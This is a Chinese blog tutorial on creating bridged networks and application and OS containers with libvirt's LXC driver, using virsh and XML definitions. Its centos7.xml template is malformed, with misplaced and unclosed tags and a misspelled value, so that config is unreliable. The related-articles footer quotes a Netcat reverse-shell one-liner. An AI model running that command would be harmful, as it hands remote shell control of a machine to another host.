在libvirt 中体验容器

简介:

libvirt是一个通用的虚拟化框架,支持xenkvmlxc多种虚拟化技术,本文作为一个笔记。


设置LXC为默认(默认为qemu

export LIBVIRT_DEFAULT_URI=lxc:///


virsh -c lxc:/// 可省略


网络设置


NAT

NATlibvirt默认自带,叫做default,通过下面的 命令查看

1
virsh net-list


假设宿主机有两个网卡,eth0为内网,eth1为外网,我们可以为容器桥接出两个接口:


#cat lan.xml

1
2
3
4
5
< network >
    < name >lan</ name >
    < forward  mode = "bridge"  />
       < interface  dev = "eth0"  />
  </ network >

#cat wan.xml

1
2
3
4
5
< network >
   < name >wan</ name >
      < forward  mode = "bridge"  />
        < interface  dev = "eth1"  />
   </ network >
1
2
3
导入配置
virsh net-define lan.xm
virsh net-define wan.xml

开启网卡

1
2
3
4
virsh net-start lan
virsh net-autostart lan
virsh net-start wan
virsh net-autostart wan


应用容器

应用容器共享宿主机的各种资源,包括内核,各种软件包,各种库,它仅有一个独立的运行空间,像是一个沙箱环境。


创建一个名为web的应用容器

cat web.xml

1
2
3
4
5
6
7
8
9
10
11
< domain  type = "lxc" >
    < name >web</ name >
       < memory >102400</ memory >
       < os >
          < type >exec</ type >
          < init >/bin/sh</ init >
        </ os >
      < device >
         < console  type = "pty"  />
      </ device >
  </ domain >


导入virsh

1
virsh define web.xml

开机启动

1
virsh autostart web

进入容器

1
virsh console web

编辑容器配置

1
virsh edit web

删除容器

1
virsh undefine web


操作系统容器

操作系统容器除了Linux内核,自己包含一整套运行环境,像是一个chroot环境。


操作系统容器创建稍稍复杂一点


1、创建根目录

1
mkdir  -p  /lxc/centos7

2、下载并解压镜像  http://images.linuxcontainers.org/images/centos/7/amd64/default/20140807_02:37/rootfs.tar.xz


1
2
3
4
cd  /lxc/centos7
wget   xxx
xz -d rootfs. tar .xz
tar  xvf rootfs. tar

3、创建xml模板

cat centos7.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
< domain  type = "lxc" >
  < name >centos7</ name >
  < memory  unit = "KiB" >1048576</ memory >
  < currentMemory  unit = "KiB" >1048576</ currentMemory >
  < resource >
    < partition >/machine</ partition >
  </ resource >
  < os >
  < clock  offset = 'utc'  />
  < on_poweroff >destory</ on_poweroff >
  < on_reboot >restart</ on_reboot >
  < on_crash >restart< on_crash >
</ devices >
  < emulator >/usr/lib/libvirt/libvirt_lxc</ emulator >
  < filesystem  type = 'mount'  accessmode = 'passthrough' >
    < source  dir = '/lxc/centos7' />
    < target  dir = '/' />
   </ filesystem >
   < interface  type = 'network' >
    < mac  address = '00:16:3e:52:87:f1' />
     < source  network = 'lan' />
    </ interface >
    < console  type = 'pty' >
      < target  type = 'lxc'  port = '0' />
     </ console >
    </ devices >
   </ domain >


导入容器

1
virsh define centos7.xml

启动容器

1
2
virsh start centos7
virsh autostart centos7

进入容器

1
virsh console centos7

停止开机启动

1
virsh autostart --disable centos7


退出lxc console

ctrl+]










本文转自 紫色葡萄 51CTO博客,原文链接:http://blog.51cto.com/purplegrape/1537221,如需转载请自行联系原作者

目录
相关文章
|
存储 监控 搜索推荐
在生产环境中部署Elasticsearch:最佳实践和故障排除技巧——安装篇(一)
在生产环境中部署Elasticsearch:最佳实践和故障排除技巧——安装篇(一)
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
622 0
|
Linux Python Windows
5分钟学会本地Pypi源搭建
5分钟学会本地Pypi源搭建
1252 0
|
Web App开发 缓存 监控
如何使用 Chrome DevTools 的 Performance 面板进行页面加载性能分析?
如何使用 Chrome DevTools 的 Performance 面板进行页面加载性能分析?
|
12月前
|
SpringCloudAlibaba 负载均衡 Dubbo
【SpringCloud Alibaba系列】Dubbo高级特性篇
本章我们介绍Dubbo的常用高级特性,包括序列化、地址缓存、超时与重试机制、多版本、负载均衡。集群容错、服务降级等。
1807 7
【SpringCloud Alibaba系列】Dubbo高级特性篇
|
机器学习/深度学习 算法 数据挖掘
CVPR2024 医学图像相关论文
CVPR2024医学图像相关论文汇总,涵盖图像重建、超分、配准、分割、生成、分类、联邦学习、预训练模型、视觉-语言模型及计算病理等多个领域。包括多项创新技术,如QN-Mixer、PrPSeg、MAPSeg等,涉及多个开源项目和代码。持续更新中,欢迎关注。原始GIT地址:https://github.com/MedAIerHHL/CVPR-MIA
1658 0
|
定位技术 图形学 开发者
【用unity实现100个游戏之18】从零开始制作一个类CSGO/CS2、CF第一人称FPS射击游戏——基础篇1(附项目源码)
【用unity实现100个游戏之18】从零开始制作一个类CSGO/CS2、CF第一人称FPS射击游戏——基础篇1(附项目源码)
1025 1
|
机器学习/深度学习 人工智能 运维
智能化运维:AIOps在未来网络管理中的应用与挑战
【5月更文挑战第4天】随着人工智能和大数据技术的飞速发展,智能化运维(AIOps)正逐渐成为IT运维领域的革新力量。本文探讨了AIOps在现代网络管理中的关键作用,分析了其在故障预测、自动化处理、以及提升决策效率方面的潜力。同时,文章还针对AIOps实施过程中面临的技术挑战、数据隐私及安全性问题进行了深入讨论,并提出了相应的解决策略。通过实际案例分析,本文旨在为读者提供一个关于AIOps在网络管理领域应用的全面视角。
|
API 开发工具 Android开发
安卓可穿戴设备开发:智能手表和健身手环
【4月更文挑战第14天】本文探讨了安卓可穿戴设备,如智能手表和健身手环的开发,强调了理解用户交互、利用Wear OS SDK和Fit API、优化电池续航及保障隐私安全的重要性。开发者需设计适应语音、手势和触摸的UI,通过Fit API处理健康数据,同时关注能耗优化和数据安全,以创造创新且用户友好的应用,适应日益增长的市场需求。
550 2
|
自然语言处理 前端开发 Swift
Llama3 中文通用Agent微调模型来啦!(附手把手微调实战教程)
Llama3模型在4月18日公布后,国内开发者对Llama3模型进行了很多训练和适配,除了中文纯文本模型外,多模态版本也陆续在发布中。